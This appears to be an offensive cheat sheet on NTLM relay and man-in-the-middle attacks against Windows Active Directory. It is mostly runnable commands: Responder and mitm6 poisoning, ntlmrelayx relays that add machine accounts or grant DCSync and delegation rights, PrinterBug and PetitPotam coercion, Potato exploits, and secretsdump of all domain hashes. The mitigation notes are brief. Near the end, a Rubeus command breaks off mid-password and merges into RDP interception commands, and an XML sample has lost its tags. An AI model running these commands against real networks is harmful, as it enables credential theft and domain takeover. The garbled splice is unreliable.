# Internal - MITM and Relay NTLMv1 and NTLMv2 can be relayed to connect to another machine. | Hash | Hashcat | Attack method | |-----------------------|---------|----------------------| | LM | `3000` | crack/pass the hash | | NTLM/NTHash | `1000` | crack/pass the hash | | NTLMv1/Net-NTLMv1 | `5500` | crack/relay attack | | NTLMv2/Net-NTLMv2 | `5600` | crack/relay attack | Crack the hash with `hashcat`. ```powershell hashcat -m 5600 -a 0 hash.txt crackstation.txt ``` ## MS08-068 NTLM reflection NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008. > This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials. * https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068 ```powershell msf > use exploit/windows/smb/smb_relay msf exploit(smb_relay) > show targets ``` ## LDAP signing not required and LDAP channel binding disabled During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed: * LDAP signing not required (by default set to `Not required`) * LDAP channel binding is disabled. (by default disabled) * `ms-DS-MachineAccountQuota` needs to be at least at 1 for the account relayed (10 by default) Then we can use a tool to poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network such as `Responder` and use `ntlmrelayx` to add our computer. ```bash # On first terminal sudo ./Responder.py -I eth0 -wfrd -P -v # On second terminal sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer ``` It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection. ## SMB Signing Disabled and IPv4 If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. Also called **LLMNR/NBNS Poisoning** 1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`. ```powershell [Responder Core] ; Servers to start ... SMB = Off # Turn this off HTTP = Off # Turn this off ``` 2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`. 3. Run `python Responder.py -I ` 4. Use a relay tool such as `ntlmrelayx` or `MultiRelay` - `impacket-ntlmrelayx -tf targets.txt` to dump the SAM database of the targets in the list. - `python MultiRelay.py -t -u ALL` 5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions. ```powershell $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support [*] Servers started, waiting for connections Type help for list of commands ntlmrelayx> socks Protocol Target Username Port -------- -------------- ------------------------ ---- MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433 SMB 192.168.48.230 CONTOSO/NORMALUSER1 445 MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433 # You might need to select a target with "-t" # smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// and smtp:// impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support # the socks proxy can then be used with your Impacket tools or netexec $ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1 $ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth $ proxychains netexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1" ``` **Mitigations**: * Disable LLMNR via group policy ```powershell Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled ``` * Disable NBT-NS ```powershell This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP ``` ## SMB Signing Disabled and IPv6 Since [MS16-077](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-077) the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS. ```powershell netexec smb $hosts --gen-relay-list relay.txt # DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6 # -d is the domain name that we filter our request on - the attacked domain # -i is the interface we have mitm6 listen on for events mitm6 -i eth0 -d $domain # spoofing WPAD and relaying NTLM credentials impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug # -ip is the interface you want the relay to run on # -wh is for WPAD host, specifying your wpad file to serve # -t is the target where you want to relay to. impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2 ``` ## Drop the MIC - CVE-2019-1040 > The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner) ```powershell python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET' [*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth [*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected) ``` - Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD ```powershell TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.local TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc ``` - Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server. ```powershell # create a new machine account TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6 TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME # connect using the ticket export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache secretsdump.py -k -no-pass second-dc-server.local -just-dc ``` ## Drop the MIC 2 - CVE-2019-1166 > A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection. An attacker who successfully exploited this vulnerability could gain the ability to downgrade NTLM security features. To exploit this vulnerability, the attacker would need to tamper with the NTLM exchange. The attacker could then modify flags of the NTLM packet without invalidating the signature. * Unset the signing flags in the `NTLM_NEGOTIATE` message (`NTLMSSP_NEGOTIATE_ALWAYS_SIGN`, `NTLMSSP_NEGOTIATE_SIGN`) * Inject a rogue msvAvFlag field in the `NTLM_CHALLENGE` message with a value of zeros * Remove the MIC from the `NTLM_AUTHENTICATE` message * Unset the following flags in the `NTLM_AUTHENTICATE` message: `NTLMSSP_NEGOTIATE_ALWAYS_SIGN`, `NTLMSSP_NEGOTIATE_SIGN`, `NEGOTIATE_KEY_EXCHANGE`, `NEGOTIATE_VERSION`. ```ps1 ntlmrelayx.py -t ldap://dc.domain.com --escalate-user 'youruser$' -smb2support --remove-mic --delegate-access ``` ## Ghost Potato - CVE-2019-1384 Requirements: * User must be a member of the local Administrators group * User must be a member of the Backup Operators group * Token must be elevated Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip ```powershell ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe ``` ## RemotePotato0 DCOM DCE RPC relay > It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine Requirements: - a shell in session 0 (e.g. WinRm shell or SSH shell) - a privileged user is logged on in the session 1 (e.g. a Domain Admin user) ```powershell # https://github.com/antonioCoco/RemotePotato0/ Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016 Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1 Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2 Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135' ``` ## DNS Poisonning - Relay delegation with mitm6 Requirements: - IPv6 enabled (Windows prefers IPV6 over IPv4) - LDAP over TLS (LDAPS) > ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it. ```powershell git clone https://github.com/fox-it/mitm6.git cd /opt/tools/mitm6 pip install . mitm6 -hw ws02 -d lab.local --ignore-nofqnd # -d: the domain name that we filter our request on (the attacked domain) # -i: the interface we have mitm6 listen on for events # -hw: host whitelist ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer # -ip: the interface you want the relay to run on # -wh: WPAD host, specifying your wpad file to serve # -t: the target where you want to relay to # now granting delegation rights and then do a RBCD ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass target.lab.local ``` ## Relaying with WebDav Trick > Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB **Requirement**: * WebClient service **Enable WebClient**: WebClient service can be enable on the machine using several techniques: * Mapping a WebDav server using `net` command : `net use ...` * Typing anything into the explorer address bar that isn't a local file or directory * Browsing to a directory or share that has a file with a `.searchConnector-ms` extension located inside. ```xml Microsoft Outlook false true {91475FE5-586B-4EBA-8D75-D17434B8CDF6} https://example/ ``` **Exploitation**: * Discover machines on the network with enabled WebClient service ```ps1 webclientservicescanner 'domain.local'/'user':'password'@'machine' netexec smb 10.10.10.10 -d 'domain' -u 'user' -p 'password' -M webdav GetWebDAVStatus.exe 'machine' ``` * Disable HTTP in Responder ```ps1 sudo vi /usr/share/responder/Responder.conf ``` * Generate a Windows machine name, e.g: "WIN-UBNW4FI3AP0" ```ps1 sudo responder -I eth0 ``` * Prepare for RBCD against the DC ```ps1 python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support ``` * Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.10.10.10`, the listener host must be specified with the FQDN or full netbios name like `logger.domain.local@80/test.txt`. Specifying the IP results in anonymous auth instead of System. ```ps1 # PrinterBug dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP" SpoolSample.exe "TARGET_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" # PetitPotam Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP" Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP" PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP" ``` * Use the created account to ask for a service ticket: ```ps1 .\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l pyrdp-mitp.py : # with custom port pyrdp-mitm.py -k private_key.pem -c certificate.pem # with custom key and certificate ``` **Exploitation** * If Network Level Authentication (NLA) is enabled, you will obtain the client's NetNTLMv2 challenge * If NLA is disabled, you will obtain the password in plaintext * Other features are available such as keystroke recording **Alternatives** * S3th: https://github.com/SySS-Research/Seth, performs ARP spoofing prior to launching the RDP listener ## References * [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic) * [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema - June 13, 2019](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/) * [Lateral Movement – WebClient](https://pentestlab.blog/2021/10/20/lateral-movement-webclient/) * [NTLM Relaying to LDAP - The Hail Mary of Network Compromise - @logangoins - July 23, 2024](https://logan-goins.com/2024-07-23-ldap-relay/) * [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials) * [Relay Your Heart Away: An OPSEC-Conscious Approach to 445 Takeover - Nick Powers - 07/27/2024](https://www.youtube.com/watch?v=iBqOOkQGJEA) * [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher - Mar 9, 2018](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)